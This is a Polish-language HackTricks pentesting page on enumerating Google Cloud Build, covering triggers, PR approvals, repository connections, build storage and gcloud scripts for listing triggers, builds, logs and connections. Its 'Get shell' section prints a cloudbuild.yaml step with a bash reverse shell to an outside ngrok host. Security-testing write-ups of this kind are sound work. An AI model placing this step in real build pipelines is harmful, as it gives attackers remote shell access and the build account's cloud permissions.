GCP - Cloud Build Enum

Support HackTricks

Podstawowe informacje

Google Cloud Build to zarządzana platforma CI/CD, która automatyzuje procesy budowy i wydania oprogramowania, integrując się z repozytoriami kodu źródłowego i wspierając szeroki zakres języków programowania. Pozwala deweloperom na automatyczne budowanie, testowanie i wdrażanie kodu, jednocześnie zapewniając elastyczność w dostosowywaniu kroków budowy i przepływów pracy.

Każdy wyzwalacz Cloud Build jest powiązany z repozytorium w chmurze lub bezpośrednio połączony z zewnętrznym repozytorium (Github, Bitbucket i Gitlab).

Nie widziałem żadnego sposobu na kradzież tokena Github/Bitbucket stąd lub z repozytoriów w chmurze, ponieważ gdy repozytorium jest pobierane, jest dostępne przez URL https://source.cloud.google.com/ i Github nie jest dostępny przez klienta.

Wydarzenia

Cloud Build może być wyzwalany, jeśli:

  • Wypchnięcie do gałęzi: Określ gałąź

  • Wypchnięcie nowego tagu: Określ tag

  • Pull request: Określ gałąź, która otrzymuje PR

  • Ręczne wywołanie

  • Wiadomość Pub/Sub: Określ temat

  • Zdarzenie Webhook: Ujawni URL HTTPS, a żądanie musi być uwierzytelnione za pomocą sekretu

Wykonanie

Są 3 opcje:

  • Plik yaml/json określający polecenia do wykonania. Zwykle: /cloudbuild.yaml

  • Tylko jeden, który można określić „w linii” w konsoli internetowej i w cli

  • Najczęstsza opcja

  • Istotna dla nieautoryzowanego dostępu

  • Dockerfile do budowy

  • Buildpack do budowy

Uprawnienia SA

Konto usługi ma zakres cloud-platform, więc może korzystać ze wszystkich uprawnień. Jeśli nie określono SA (jak przy przesyłaniu), to domyślne SA <proj-number>@cloudbuild.gserviceaccount.com będzie używane.

Domyślnie nie przyznaje się żadnych uprawnień, ale dość łatwo jest je przyznać:

Zatwierdzenia

Możliwe jest skonfigurowanie Cloud Build, aby wymagał zatwierdzeń dla wykonania budowy (domyślnie wyłączone).

Zatwierdzenia PR

Gdy wyzwalacz to PR, ponieważ każdy może wykonywać PR do publicznych repozytoriów, byłoby bardzo niebezpiecznie po prostu zezwolić na wykonanie wyzwalacza z dowolnym PR. Dlatego domyślnie wykonanie będzie automatyczne tylko dla właścicieli i współpracowników, a aby wykonać wyzwalacz z PR innych użytkowników, właściciel lub współpracownik musi skomentować /gcbrun.

Połączenia i repozytoria

Połączenia można tworzyć przez:

  • GitHub: Pojawi się monit OAuth o pozwolenie na uzyskanie tokena Github, który będzie przechowywany w Secret Manager.

  • GitHub Enterprise: Poprosi o zainstalowanie GithubApp. Zostanie utworzony i przechowany w tym projekcie token uwierzytelniający z hosta GitHub Enterprise jako sekret Secret Manager.

  • GitLab / Enterprise: Musisz podać token dostępu API i token dostępu do API odczytu, które będą przechowywane w Secret Manager.

Gdy połączenie zostanie wygenerowane, możesz go użyć do połączenia repozytoriów, do których konto Github ma dostęp.

Ta opcja jest dostępna przez przycisk:

Zauważ, że repozytoria połączone w ten sposób są dostępne tylko w wyzwalaczach używających 2. generacji.

Połącz repozytorium

To nie to samo co połączenie. To pozwala na różne sposoby uzyskania dostępu do repozytorium Github lub Bitbucket, ale nie generuje obiektu połączenia, ale generuje obiekt repozytorium (1. generacji).

Ta opcja jest dostępna przez przycisk:

Przechowywanie

Czasami Cloud Build generuje nową przestrzeń do przechowywania plików dla wyzwalacza. Dzieje się tak na przykład w przykładzie, który oferuje GCP z:

git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \
cd cloud-console-sample-build && \
gcloud builds submit --config cloudbuild.yaml --region=global

Bucket Storage o nazwie security-devbox_cloudbuild został utworzony w celu przechowywania pliku .tgz z plikami do użycia.

Get shell

steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
options:
logging: CLOUD_LOGGING_ONLY

Zainstaluj gcloud wewnątrz cloud build:

# https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image
curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz
mkdir -p /usr/local/gcloud
tar -C /usr/local/gcloud -xvf /tmp/google-cloud-sdk.tar.gz
/usr/local/gcloud/google-cloud-sdk/install.sh

Enumeration

Możesz znaleźć wrażliwe informacje w konfiguracjach budowy i logach.

# Get configured triggers configurations
gcloud builds triggers list # Check for the words github and bitbucket
gcloud builds triggers describe <trigger-name>

# Get build executions
gcloud builds list
gcloud builds describe <build-uuid> # Get even the build yaml if defined in there
gcloud builds log <build-uuid> # Get build logs

# List all connections of each region
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build connections in region: $region"
connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}")
if [[ ${#connections[@]} -eq 0 ]]; then
echo "No connections found in region $region."
else
for connection in $connections; do
echo "Describing connection $connection in region $region"
gcloud builds connections describe "$connection" --region="$region"
echo "-----------------------------------------"
done
fi
echo "========================================="
done

# List all worker-pools
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build worker-pools in region: $region"
gcloud builds worker-pools list --region="$region"
echo "-----------------------------------------"
done

Eskalacja Uprawnień

GCP - Cloudbuild Privesc

Dostęp bez uwierzytelnienia

GCP - Cloud Build Unauthenticated Enum

Po Eksploatacji

GCP - Cloud Build Post Exploitation
Wsparcie HackTricks

Last updated